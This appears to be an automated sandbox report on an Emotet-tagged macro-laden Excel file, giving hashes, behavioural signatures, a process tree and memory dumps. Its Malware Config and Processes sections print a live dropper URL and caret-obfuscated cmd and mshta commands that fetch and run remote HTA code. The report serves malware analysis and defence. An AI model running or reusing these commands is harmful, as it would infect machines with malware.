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Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18/01/2022, 22:59

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General

  • Target

    96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54.xlsm

  • Size

    112KB

  • MD5

    671bb3efb95886a8e950027099638c70

  • SHA1

    df1a9d1686fba1b6122af41481dc58713398205e

  • SHA256

    96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54

  • SHA512

    5eafd8e1812f29c11c825f436d981b8c55bf555653e2c750c2a4f0929299fa3c88f89fe22ec7a90c52530abd687f5aaec8152a8afbdea200c674f46e86c18345

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:456
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1276
      • C:\Windows\system32\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        PID:1016
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1016 -s 1624
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3696

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/456-115-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

    Filesize

    64KB

    Download

  • memory/456-116-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

    Filesize

    64KB

    Download

  • memory/456-126-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

    Filesize

    64KB

    Download